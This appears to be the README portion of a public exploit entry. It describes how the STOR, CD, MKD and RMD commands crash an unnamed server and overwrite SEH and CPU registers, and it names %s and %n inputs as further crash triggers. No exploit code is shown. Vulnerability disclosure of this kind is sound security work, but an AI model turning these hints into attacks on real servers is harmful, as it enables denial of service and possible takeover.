 Exploit Code : #THE README PART
#The STOR command will crash the server and overwrite a few interesting CPU
registers (as shown below).
#Other commands that will gives similar results are: CD / MKD / RMD They
all overwrite SEH in the same
#manner as the STOR command.
#During our research, we discovered many other DoS possibilities. These
character combinations (%s & %n)
#are pretty good at crashing this application.
#As always, if someone wishes to take this further go right ahead. Play
nice, and remember where you got it from.
#Thank you.
